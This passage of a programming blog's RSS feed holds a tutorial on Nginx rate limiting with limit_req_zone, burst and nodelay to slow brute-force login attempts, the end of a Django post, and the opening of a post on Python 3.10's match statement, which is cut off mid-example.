prototyping that allowed them to became the monster app that they&amp;rsquo;re now.&lt;/p&gt;&#xA;&lt;p&gt;In the end, as always, this is my point of view and everyone has their own. I hope this post has shown you something you would not have considered about Django before reading it.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Why to use Python Framework like Django in a world where everything is Javascript? Is it really worth learning such framework in an ecosystem that insists on Frameworks written in Javascript? Well, I think so, and here are some of the reasons why you should use Django. And, in order not to lose objectivity, I will talk about the advantages as well as the disadvantages; you know that no solution is perfect.&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>Throttling on Nginx</title>
      <link>https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/</link>
      <pubDate>Sat, 13 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/</guid>
      
      <category>software architecture</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ngnix throttling allows us to limit the number of requests to a certain user. This is useful to prevent excessive requests from a user from keeping the system busy. On the other hand, it is also a way to deter brute force password attempts or even DDOS attacks.&lt;/p&gt;&#xA;&lt;p&gt;If you are looking to optimize the performance of an application using Nginx I have a post where I give you some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/nginx-keepalive-gzip-http2-better-performance-on-your-website/&#34;&gt;recommendations to improve nginx performance&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;By the way, I coded an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/&#34;&gt;interactive Throttling vs debounce simulator&lt;/a&gt;&#xA; that you can play with here.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-bucket-algorithm&#34;&gt;The bucket algorithm&lt;/h2&gt;&#xA;&lt;p&gt;Nginx will handle throttling as if it were a bucket with holes in it: the water that goes into the bucket comes out the bottom. If we increase the flow and the bucket fills faster than it flows out of the holes the bucket will overflow.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/images/cubeta_-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/images/cubeta_-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;A bucket dripping illustration&#34; width=&#34;245&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The water that enters first through the bucket exits first (FIFO). If the flow is sufficient, the bucket overflows.&lt;/p&gt;&#xA;&lt;p&gt;In the above example, the requests represent the water; any excessive increase in requests will overflow and be lost. Requests that were already in the bucket will leave the bucket first, i.e., they will be processed as they arrive (a FIFO queue).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;limit_req_zone-sets-throttling-values&#34;&gt;limit_req_zone sets throttling values&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s open our configuration file for our website. If you use the default configuration it is in &lt;em&gt;/etc/nginx/sites-enabled/default&lt;/em&gt; and we will place the following:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req_zone&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;$binary_remote_addr&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit:10m&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;rate=10r/s&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;limit_req_zone will set the parameters that the throttling will have:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$binary_remote_addr stores the IP address in binary. We can replace it by $remote_addr at a cost of more memory space per IP.&lt;/li&gt;&#xA;&lt;li&gt;zone sets the name of the space where our IPs will be stored and its capacity, in 1MB we can fit approximately 16 000 IPs.&lt;/li&gt;&#xA;&lt;li&gt;Rate tells us how many requests, &amp;ldquo;r&amp;rdquo;, we will allow, in this case per second.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;limit_req-is-placed-in-the-block-to-be-protected&#34;&gt;limit_req is placed in the block to be protected&lt;/h3&gt;&#xA;&lt;p&gt;Just because we have set these values does not mean that they will be applied, we must tell Nginx in which block they will be applied.&lt;/p&gt;&#xA;&lt;p&gt;limit_req tells nginx the block on which throttling values will be applied, in this case &lt;em&gt;/login/&lt;/em&gt;, to prevent brute force password guessing attempts.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req_zone&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;$binary_remote_addr&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit:10m&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;rate=10r/s&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;server&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;location&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;/login/&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;proxy_pass&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;http://my_upstream&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;And that&amp;rsquo;s it, now Nginx will have a limit of 10 requests per second for the /login/ address.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s all well and good, but if we make a request and in less than 100 ms we make a second request we would notice that Nginx returns a 503 error, but why, aren&amp;rsquo;t we within the limit of 10 requests per second? The second request has not yet elapsed and there are only 2 requests. Well, yes, but Nginx measures its rates in milliseconds, so our real rate is not 10 r/s.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rate-measured-in-milliseconds&#34;&gt;Rate measured in milliseconds&lt;/h3&gt;&#xA;&lt;p&gt;In our example we set the maximum limit to be 10 requests per second, but Nginx measures using milliseconds (ms), so our actual rate is 1r/100ms, i.e. one request every 100 ms.&lt;/p&gt;&#xA;&lt;h3 id=&#34;burst&#34;&gt;Burst&lt;/h3&gt;&#xA;&lt;p&gt;But what if two requests are placed effectively in less than 100 ms? That&amp;rsquo;s right, the second would be lost and this may not be what we want, sometimes applications make requests within a few milliseconds of each other. The Burst option takes care of mitigating our strict Throttling policy a bit:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;location&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;/login/&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;burst=20&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;proxy_pass&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;http://my_upstream&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What exactly does burst do? **Burst sets the size of a queue. Any request made within 100 ms will be placed in this queue, in this case with a size of 20 requests. Our queue will dispatch a request every 100 ms. Any request that arrives when the queue is full (greater than 20) will be discarded.&lt;/p&gt;&#xA;&lt;p&gt;But, now we are in another predicament, imagine a queue at the limit of its capacity, with 20 requests. The penultimate value will have to wait 1.8 seconds before being dispatched, while the last one will take 2.0 seconds. That&amp;rsquo;s a lot!&lt;/p&gt;&#xA;&lt;h3 id=&#34;nodelay&#34;&gt;Nodelay&lt;/h3&gt;&#xA;&lt;p&gt;With the nodelay parameter, Nginx marks as &amp;ldquo;busy&amp;rdquo; the queue slots we defined in burst, but does not wait 100 ms to dispatch each one, but dispatches them as fast as it can and then releases the queue slots at a rate of 100 ms. So now the last items in the queue will not wait for seconds to elapse before being processed, but will be processed immediately, still preserving the request limit.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;location&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;/login/&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;burst=20&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;nodelay&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;proxy_pass&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;http://my_upstream&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This post is based on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.nginx.com/blog/rate-limiting-nginx/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official Nginx Throttling documentation&lt;/a&gt;&#xA;. If you want to learn more about this topic visit the official documentation.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ngnix throttling allows us to limit the number of requests to a certain user. This is useful to prevent excessive requests from a user from keeping the system busy. On the other hand, it is also a way to deter brute force password attempts or even DDOS attacks.&lt;/p&gt;</summary>
    </item>
    
    
    
    <item>
      <title>How to make a switch in Python?</title>
      <link>https://coffeebytes.dev/en/python/how-to-make-a-switch-in-python/</link>
      <pubDate>Sat, 06 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/how-to-make-a-switch-in-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Python 3.10 was announced and it comes with something that many developers were missing from other languages: the switch statement. Yes, that piece of code that evaluates an expression and compares it with multiple cases to decide what to execute. Python did not have it implemented and many developers resorted to certain tricks to imitate it.&lt;/p&gt;&#xA;&lt;p&gt;I remind you that if you don&amp;rsquo;t know anything about Python I have a post where I talk about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;book &amp;ldquo;Inmersion en Python&amp;rdquo;&lt;/a&gt;&#xA;; one of the best free books to learn Python from scratch.&lt;/p&gt;&#xA;&lt;h2 id=&#34;switch-in-python-310&#34;&gt;Switch in Python 3.10&lt;/h2&gt;&#xA;&lt;p&gt;As of Python 3.10, &lt;strong&gt;provided the developers do not retract&lt;/strong&gt;, the switch statement, which we will call by its name, &lt;strong&gt;match&lt;/strong&gt;, from now on, will be written as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;match&lt;/span&gt; subject:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; _:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_wildcard&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The case followed by the underscore will function as the default case in case the pattern does not match any other. That is, the equivalent of &lt;em&gt;default&lt;/em&gt; in languages like Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s look at an example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;genera_monstruo&lt;/span&gt;(tipo):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;match&lt;/span&gt; tipo:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Dementor&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Dementor&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span 